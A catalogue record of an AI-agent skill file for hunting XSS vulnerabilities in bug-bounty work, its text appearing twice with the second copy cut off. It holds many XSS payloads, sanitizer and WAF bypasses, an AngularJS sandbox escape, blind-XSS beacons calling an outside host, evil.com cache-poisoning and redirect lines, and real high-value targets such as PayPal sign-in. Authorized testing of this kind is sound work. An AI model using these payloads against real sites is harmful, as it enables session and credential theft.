[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P6CPAAXZYPJ4YY3BN6JN6Y":3,"skill-same:01M6P6CPAAXZYPJ4YY3BN6JN6Y":82},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":34,"commitSha":57,"skillDirectory":58,"forksCount":13,"repositoryHtmlUrl":59,"repositoryHomepageUrl":6,"ownerHtmlUrl":60,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":61,"install":62,"resources":75},"01M6P6CPAAXZYPJ4YY3BN6JN6Y","hunt-xss",null,"Hunting skill for xss vulnerabilities.","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-xss\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"hunt xss","xss","hunt","community","for","hunting","relevant","helper","scripts","scope","commands","main","testing","only","public","https","license","testing tools","vulnerabilities","github","2026-11-10 10:12:30",false,"---\nname: hunt-xss\ndescription: Hunting skill for xss vulnerabilities.\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: github, hackerone_public\nreport_count: 174\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Autonomous Testing Priority\n\n**Verify reflection before claiming XSS — encoding is everything.**\n\nYour payload must appear in the response body with angle brackets UNESCAPED. `\u003Cscript>` is XSS. `<script>` is safe encoding — not vulnerable.\n\n**Use a UNIQUE NUMERIC CANARY in your proof payload** — e.g. `\u003Cscript>alert(91234)\u003C\u002Fscript>` or `\">\u003Cimg src=x onerror=alert(91234)>`. Pick a distinctive 4+ digit number, not `alert(1)`. Practice pages are full of *example* payloads like `alert(1)`\u002F`alert('XSS')` in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your `alert(\u003Ccanary>)` shows up in the response with raw, unescaped angle brackets.\n\n**Try these contexts in order:**\n\n1. **Inline script injection** (works when HTML context allows new tags):\n   ```\n   \u003Cscript>alert(CANARY)\u003C\u002Fscript>\n   ```\n   Use whatever canary string your proof contract specifies. Confirmed when `\u003Cscript>alert(CANARY)` appears literally (not HTML-encoded) in the response.\n\n2. **Attribute event injection** (when `\u003C` is filtered but attributes are injectable):\n   ```\n   \" onmouseover=\"alert(CANARY)\n   \" onerror=\"alert(CANARY)\n   \" onload=\"alert(CANARY)\n   ```\n\n3. **URL\u002Fhref context:**\n   ```\n   javascript:alert(CANARY)\n   ```\n\n**Distinguishing success from failure:**\n- **Vulnerable:** response contains `\u003Cscript>alert(` unescaped — browser would execute it\n- **Filtered\u002Fsafe:** response contains `<script>` or `<script>` — properly encoded\n- **Blocked:** response is an error, or the reflected value is absent entirely\n\n**For stored XSS:** inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.\n\n---\n\n## Crown Jewel Targets\n\nXSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:\n\n- **Admin panels and authenticated dashboards** (e.g., `*\u002Fadmin`, `*\u002Fsettings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover\n- **Payment\u002Ffinancial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale\n- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact\n- **SSO\u002Fsignin pages** (e.g., `paypal.com\u002Fsignin`) — XSS here is critical because it can steal auth tokens across the entire platform\n- **Shared SaaS tenant surfaces** (`*.myshopify.com`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries\n- **Help\u002Fdocumentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception\n- **SVG\u002Ffile upload endpoints** — frequently bypasses CSP and sanitization simultaneously\n\n**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing\u002Fhelp sites\n\n---\n\n## OOB-Or-It-Didn't-Happen Gate (Blind \u002F Stored XSS)\n\nFor blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).\n\n### What is NOT confirmation\n\n- ASP.NET request validator rejected your `\u003C` and returned a different status code → not XSS, that's WAF noise.\n- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.\n- The form action attribute contains your payload string as `%22onclick%3D…` → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the `%22` stays as literal `%22` in the DOM.\n- Your `\u003Cscript>` tag appears in the response as `<script>` → not XSS, that's escaping.\n\n### What IS confirmation\n\n- A request to your unique Collaborator subdomain (e.g., `bxss-err-\u003Crandom>.\u003Ccollab>.oastify.com`) arrives in the OOB listener after your payload was stored \u002F reflected \u002F queued.\n- For stored XSS: the request arrives **hours or days later** when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.\n- The User-Agent of the firing request is a browser (Mozilla\u002FChrome), not the server's own backend HTTP client.\n\n### Where to plant blind-XSS beacons\n\nAny field whose value might be viewed in an admin UI \u002F log viewer \u002F email \u002F report later:\n- Error messages (`?ErrorMessage=\u003Csvg onload=fetch('\u002F\u002Fbxss-\u003Ctag>.\u003Ccollab>\u002Fx')>`)\n- Auth-flow source params (`?Source=`, `?ReturnUrl=`)\n- Login form username field (admin may view audit logs of failed logins)\n- User-Agent header (some SOC consoles render UA as HTML)\n- Referer header (some analytics dashboards render Referer as HTML)\n- Email addresses on registration \u002F contact forms\n- File-upload filenames\n\n**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.\n\n**Lesson from a authorized engagement:** 10 blind-XSS Collaborator beacons planted across `ErrorMessage`, `Source`, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs \u002F errors in tooling that does not render HTML, AND the ASP.NET request validator blocks `\u003C` in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.\n\n---\n\n## Attack Surface Signals\n\n**URL Patterns:**\n```\n\u002Fadmin*\n\u002Fsettings*\n\u002Fwiki*\n\u002Freports*\n?utm_source=\n?redirect=\n?q=\n?search=\n?callback=\n?return_url=\n\u002Frender*\n\u002Fpreview*\n\u002Fdocumentation*\n```\n\n**Response Headers (weak defense signals):**\n```\nContent-Type: text\u002Fhtml (without nosniff)\nContent-Security-Policy: (absent or using unsafe-inline)\nContent-Type: image\u002Fsvg+xml (CSP often not applied)\nX-XSS-Protection: 0\n```\n\n**JS Patterns in source that signal DOM XSS:**\n```javascript\ndocument.write(\ninnerHTML =\nlocation.hash\nlocation.search\nlocation.href\ndocument.referrer\neval( \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\nsetTimeout(string,\nsetInterval(string,\n$.html(\n$(location\n```\n\n**Tech Stack Signals:**\n- Rails applications using `html_safe`, `raw`, `translate`, Action Text, or ActionView sanitize helpers\n- GitLab\u002FGitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)\n- Applications allowing SVG uploads or rendering\n- Sites using `style` tag in allowlists\n- Kroki\u002FMermaid\u002FPlantUML diagram rendering endpoints\n- Cache layers in front of authenticated pages (cache poisoning vector)\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all reflection points** — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names\u002Fcontents, and API response fields rendered in UI.\n\n2. **Classify by type** — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL\u002Fstorage → DOM sink). Each requires different payload delivery.\n\n3. **Probe sanitizer behavior** — Send harmless canary strings first: `aaa\"bbb'ccc\u003Cddd` to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.\n\n   **Marker Discipline:** When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `evil`, `attacker`, `payload`, `javascript`, `script`. Good markers: `cpmark987abc`, `x4hd2k9pq`, `__ZZ_MARKER_\u003Crandom>_ZZ__`. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word `javascript` is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.\n\n4. **Test allowlisted tag combinations** — If a sanitizer is in use, probe for dangerous tag combos: `\u003Cmath>+\u003Cstyle>`, `\u003Csvg>+\u003Cstyle>`, `\u003Ciframe srcdoc>`, `\u003Cstyle>` with expressions.\n\n5. **Hunt SVG and file upload vectors** — Upload SVG files containing `\u003Cscript>` tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.\n\n6. **Test markdown\u002Fdocumentation renderers** — In wiki, README, or doc fields, try: `[text] (javascript:alert(1))`, inline HTML injection, Kroki\u002FMermaid payloads, RDoc `link:javascript:` syntax.\n\n7. **Check redirect parameters** — Test `?redirect=javascript:alert(1)` and `?return_url=\u002F\u002Fevil.com` — look for single-click XSS via improper redirect sanitization.\n\n8. **Probe UTM and analytics parameters** — `utm_source`, `utm_medium`, `utm_campaign` are often reflected without sanitization on marketing pages.\n\n9. **Test CSP bypass opportunities** — If CSP is present, look for: JSONP endpoints on allowed domains, `unsafe-inline` in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.\n\n10. **Attempt stored XSS in profile\u002Fmetadata fields** — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.\n\n11. **Check cache poisoning** — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.\n\n12. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 \u002F Oct 2019 and no shipping browser has one — never attribute a failed PoC to an \"XSS auditor\".)\n\n---\n\n## Payload & Detection Patterns\n\n**Basic context probing:**\n```html\naaa\"bbb'ccc\u003Cddd>eee`fff\n```\n\n**Reflected XSS — URL parameter baseline:**\n```\n?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n?q=\">\u003Cscript>alert(1)\u003C\u002Fscript>\n?utm_source=\u003Csvg onload=alert(1)>\n?redirect=javascript:alert(document.domain)\n```\n\n**Attribute context escapes:**\n```html\n\" onmouseover=\"alert(1)\n' onmouseover='alert(1)\n`onmouseover=alert(1)\n```\n\n**SVG-based (CSP bypass):**\n```html\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n  \u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003C\u002Fsvg>\n```\n\n**Sanitizer bypass — math+style combo:**\n```html\n\u003Cmath>\u003Cstyle>\u003Cimg src=x onerror=alert(1)>\u003C\u002Fstyle>\u003C\u002Fmath>\n```\n\n**Sanitizer bypass — svg+style combo:**\n```html\n\u003Csvg>\u003Cstyle>\u003Cimg src=x onerror=alert(1)>\u003C\u002Fstyle>\u003C\u002Fsvg>\n```\n\n**Markdown\u002FRDoc javascript: link:**\n```markdown\n[Click me] (javascript:alert(document.domain))\n```\n\n**Kroki\u002Fdiagram injection:**\n```\n```kroki\nplantuml\n@startuml\n:\u003Cscript>alert(1)\u003C\u002Fscript>;\n@enduml\n```\n```\n\n**DOM XSS via hash\u002Fsearch:**\n```javascript\n\u002F\u002F In browser console to test sink\nlocation.hash = '#\">\u003Cimg src=x onerror=alert(1)>'\nlocation.href = 'https:\u002F\u002Ftarget.com\u002Fpage#\u003Cscript>alert(1)\u003C\u002Fscript>'\n```\n\n**Grep patterns for source review:**\n```bash\n# Find dangerous sinks in JS\ngrep -rn \"innerHTML\\|document\\.write\\|eval(\\|setTimeout(\\|location\\.hash\\|location\\.search\" --include=\"*.js\" \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\n\n# Find unsafe Rails helpers\ngrep -rn \"html_safe\\|raw(\\|sanitize\\|translate\" --include=\"*.erb\" --include=\"*.rb\"\n\n# Find reflected params in responses\ngrep -i \"utm_source\\|utm_medium\\|redirect\\|return_url\\|callback\\|next\" --include=\"*.html\" -r\n```\n\n**Curl to detect reflection:**\n```bash\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fsearch?q=XSSCANARY\" | grep -i \"XSSCANARY\"\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage?utm_source=XSSCANARY\" | grep -i \"XSSCANARY\"\n```\n\n**Cache poisoning test:**\n```bash\n# Send payload then fetch with clean session to see if cached\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage?param=\u003Cscript>alert(1)\u003C\u002Fscript>\" -H \"X-Forwarded-Host: evil.com\"\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage\" | grep -i \"evil.com\"\n```\n\n---\n\n## Common Root Causes\n\n1. **Trusting `html_safe` in Rails** — Developers mark strings as safe after partial sanitization, or chain `.html_safe` on user-supplied data without full sanitization.\n\n2. **Allowlist sanitizers with dangerous tag combinations** — Allowing `style` alongside `math` or `svg` creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.\n\n3. **Third-party rendering pipelines** — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram\u002Frendering engines aren't sandboxed and output isn't re-sanitized.\n\n4. **Reflecting URL parameters without encoding** — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing\u002Fhelp pages that are treated as lower-security.\n\n5. **SVG treated as non-script content** — Developers apply CSP to HTML responses but forget that `image\u002Fsvg+xml` responses can execute JavaScript and often aren't covered by the same CSP header.\n\n6. **Incomplete sanitizer patches** — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).\n\n7. **`javascript:` scheme not blocked in href\u002Fsrc** — Link renderers (RDoc, Markdown) fail to block `javascript:` URLs in href attributes, treating them as valid external links.\n\n8. **Cache layers storing authenticated user input** — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.\n\n9. **File upload without Content-Type enforcement** — Accepting SVG or HTML files and serving them without forcing `Content-Disposition: attachment` or overriding Content-Type.\n\n10. **Translation helper XSS** — Rails `translate`\u002F`t()` helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.\n\n---\n\n## Bypass Techniques\n\n**CSP Bypass:**\n- SVG uploads bypass script-src because `image\u002Fsvg+xml` responses may not inherit the page's CSP\n- Find JSONP endpoints on whitelisted domains (`*.googleapis.com`, `*.cloudflare.com`)\n- Use `\u003Cbase>` tag injection to redirect script sources\n- Exploit `unsafe-eval` or `unsafe-inline` in style-src to execute CSS-based attacks\n- `\u003Clink rel=preload>` or `\u003Cmeta http-equiv>` gadgets to bypass strict policies\n\n**Sanitizer Bypasses:**\n- **mXSS (Mutation XSS):** Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., `\u003Cmath>\u003Cstyle>\u003Cimg onerror=...>`)\n- **Tag combination attacks:** `\u003Csvg>` + `\u003Cstyle>` or `\u003Cmath>` + `\u003Cstyle>` create parsing ambiguity\n- **Attribute quoting variations:** `onmouseover=alert(1)` without quotes, backtick delimiters\n- **HTML entity encoding:** `javascript:` or `javascript:` in href values\n- **Protocol variations:** `javascript:`, `vbscript:`, `data:text\u002Fhtml`\n\n**Filter Evasion:**\n```html\n\u003C!-- Case variation -->\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\u003C!-- Null bytes (legacy\u002Fweak — null bytes rarely survive modern HTTP\u002FHTML parsing; low success, don't rely on it) -->\n\u003Cscr\\x00ipt>alert(1)\u003C\u002Fscr\\x00ipt>\n\u003C!-- Tag breaking -->\n\u003Csvg\u002Fonload=alert(1)>\n\u003C!-- Event handler alternatives -->\n\u003Cbody onpageshow=alert(1)>\n\u003Cinput autofocus onfocus=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n```\n\n**WAF Bypass:**\n```javascript\n\u002F\u002F Obfuscated payloads\n\u003Csvg onload=eval(atob('YWxlcnQoMSk='))> \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\n\u002F\u002F String splitting\n\u003Cscript>ale\\u0072t(1)\u003C\u002Fscript>\n\u002F\u002F HTML5 event handlers that WAFs miss\n\u003Cvideo src=x onerror=alert(1)>\n\u003Caudio src=x onerror=alert(1)>\n```\n\n**Redirect-based XSS bypass:**\n```\n?next=javascript:\u002F\u002F%0aalert(1)\n?next=javascript:alert(1)\n?redirect=\u002F\u002Fevil.com\u002F%0d%0a%0d%0a\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n**AngularJS client-side template injection (CSTI) & sandbox escapes:**\n- *Detect:* the page uses AngularJS (look for `ng-app`\u002F`ng-controller` attributes, `angular.js`\u002F`angular.min.js`, or `{{ }}` interpolation). Probe a reflected param with `{{7*7}}` — if it renders `49` (not the literal text), the value is evaluated as an Angular expression. Always drive the `browser` tool so the expression actually evaluates.\n- *Execute JS by escaping the sandbox* (technique depends on the AngularJS version):\n  - Common: `{{constructor.constructor('alert(1)')()}}` or `{{$eval.constructor('alert(1)')()}}`.\n  - **Hard variant — `$eval` unavailable AND string literals disallowed:** overwrite `String.prototype.charAt` (this disables the sandbox's per-character string checks), then use the `orderBy` filter with `String.fromCharCode` to build your JS with no quotes at all. Payload structure (fill in the placeholders yourself):\n    ```\n    ?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1\n    ```\n    - `PARAM` = the reflected parameter you found.\n    - `CODES` = the comma-separated character codes of the JavaScript you want to run — **compute these yourself** (e.g. encode `x=alert(1)` by converting each character to its char code). `toString()` produces a string without quotes; `[].join` replaces `charAt`; `orderBy` invokes the filter; `fromCharCode(CODES)` rebuilds your payload from the codes.\n- Applies to **legacy AngularJS (\u003C1.6)** only; modern frameworks (Angular 2+, React, Vue) are not affected.\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report, answer all three:\n\n1. **What can the attacker DO right now?**\n   The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies\u002Ftokens, perform actions as the victim, or exfiltrate sensitive data. \"Alert box appears\" is not sufficient — state what the alert box *represents* in terms of access (e.g., \"I can read `document.cookie` which contains the auth token used for all admin API calls\").\n\n2. **What does the victim LOSE?**\n   The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what *that* user's browser is exposed to.\n\n3. **Can it be reproduced in 10 minutes from scratch?**\n   You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome\u002FFirefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.\n\n---\n\n## Real Impact Examples\n\n**Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page**\nAn attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.\n\n**Scenario 2 — Stored XSS via Diagram Rendering in Wiki**\nA developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.\n\n**Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass**\nA project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.\n\n---\n\n\n## Contents\n\n- [Chains & Compositions (Senior Hunting)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Autonomous Testing Priority\n\n**Verify reflection before claiming XSS — encoding is everything.**\n\nYour payload must appear in the response body with angle brackets UNESCAPED. `\u003Cscript>` is XSS. `<script>` is safe encoding — not vulnerable.\n\n**Use a UNIQUE NUMERIC CANARY in your proof payload** — e.g. `\u003Cscript>alert(91234)\u003C\u002Fscript>` or `\">\u003Cimg src=x onerror=alert(91234)>`. Pick a distinctive 4+ digit number, not `alert(1)`. Practice pages are full of *example* payloads like `alert(1)`\u002F`alert('XSS')` in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your `alert(\u003Ccanary>)` shows up in the response with raw, unescaped angle brackets.\n\n**Try these contexts in order:**\n\n1. **Inline script injection** (works when HTML context allows new tags):\n   ```\n   \u003Cscript>alert(CANARY)\u003C\u002Fscript>\n   ```\n   Use whatever canary string your proof contract specifies. Confirmed when `\u003Cscript>alert(CANARY)` appears literally (not HTML-encoded) in the response.\n\n2. **Attribute event injection** (when `\u003C` is filtered but attributes are injectable):\n   ```\n   \" onmouseover=\"alert(CANARY)\n   \" onerror=\"alert(CANARY)\n   \" onload=\"alert(CANARY)\n   ```\n\n3. **URL\u002Fhref context:**\n   ```\n   javascript:alert(CANARY)\n   ```\n\n**Distinguishing success from failure:**\n- **Vulnerable:** response contains `\u003Cscript>alert(` unescaped — browser would execute it\n- **Filtered\u002Fsafe:** response contains `<script>` or `<script>` — properly encoded\n- **Blocked:** response is an error, or the reflected value is absent entirely\n\n**For stored XSS:** inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.\n\n---\n\n## Crown Jewel Targets\n\nXSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:\n\n- **Admin panels and authenticated dashboards** (e.g., `*\u002Fadmin`, `*\u002Fsettings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover\n- **Payment\u002Ffinancial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale\n- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact\n- **SSO\u002Fsignin pages** (e.g., `paypal.com\u002Fsignin`) — XSS here is critical because it can steal auth tokens across the entire platform\n- **Shared SaaS tenant surfaces** (`*.myshopify.com`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries\n- **Help\u002Fdocumentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception\n- **SVG\u002Ffile upload endpoints** — frequently bypasses CSP and sanitization simultaneously\n\n**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing\u002Fhelp sites\n\n---\n\n## OOB-Or-It-Didn't-Happen Gate (Blind \u002F Stored XSS)\n\nFor blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).\n\n### What is NOT confirmation\n\n- ASP.NET request validator rejected your `\u003C` and returned a different status code → not XSS, that's WAF noise.\n- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.\n- The form action attribute contains your payload string as `%22onclick%3D…` → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the `%22` stays as literal `%22` in the DOM.\n- Your `\u003Cscript>` tag appears in the response as `<script>` → not XSS, that's escaping.\n\n### What IS confirmation\n\n- A request to your unique Collaborator subdomain (e.g., `bxss-err-\u003Crandom>.\u003Ccollab>.oastify.com`) arrives in the OOB listener after your payload was stored \u002F reflected \u002F queued.\n- For stored XSS: the request arrives **hours or days later** when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.\n- The User-Agent of the firing request is a browser (Mozilla\u002FChrome), not the server's own backend HTTP client.\n\n### Where to plant blind-XSS beacons\n\nAny field whose value might be viewed in an admin UI \u002F log viewer \u002F email \u002F report later:\n- Error messages (`?ErrorMessage=\u003Csvg onload=fetch('\u002F\u002Fbxss-\u003Ctag>.\u003Ccollab>\u002Fx')>`)\n- Auth-flow source params (`?Source=`, `?ReturnUrl=`)\n- Login form username field (admin may view audit logs of failed logins)\n- User-Agent header (some SOC consoles render UA as HTML)\n- Referer header (some analytics dashboards render Referer as HTML)\n- Email addresses on registration \u002F contact forms\n- File-upload filenames\n\n**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.\n\n**Lesson from a authorized engagement:** 10 blind-XSS Collaborator beacons planted across `ErrorMessage`, `Source`, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs \u002F errors in tooling that does not render HTML, AND the ASP.NET request validator blocks `\u003C` in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.\n\n---\n\n## Attack Surface Signals\n\n**URL Patterns:**\n```\n\u002Fadmin*\n\u002Fsettings*\n\u002Fwiki*\n\u002Freports*\n?utm_source=\n?redirect=\n?q=\n?search=\n?callback=\n?return_url=\n\u002Frender*\n\u002Fpreview*\n\u002Fdocumentation*\n```\n\n**Response Headers (weak defense signals):**\n```\nContent-Type: text\u002Fhtml (without nosniff)\nContent-Security-Policy: (absent or using unsafe-inline)\nContent-Type: image\u002Fsvg+xml (CSP often not applied)\nX-XSS-Protection: 0\n```\n\n**JS Patterns in source that signal DOM XSS:**\n```javascript\ndocument.write(\ninnerHTML =\nlocation.hash\nlocation.search\nlocation.href\ndocument.referrer\neval( \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\nsetTimeout(string,\nsetInterval(string,\n$.html(\n$(location\n```\n\n**Tech Stack Signals:**\n- Rails applications using `html_safe`, `raw`, `translate`, Action Text, or ActionView sanitize helpers\n- GitLab\u002FGitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)\n- Applications allowing SVG uploads or rendering\n- Sites using `style` tag in allowlists\n- Kroki\u002FMermaid\u002FPlantUML 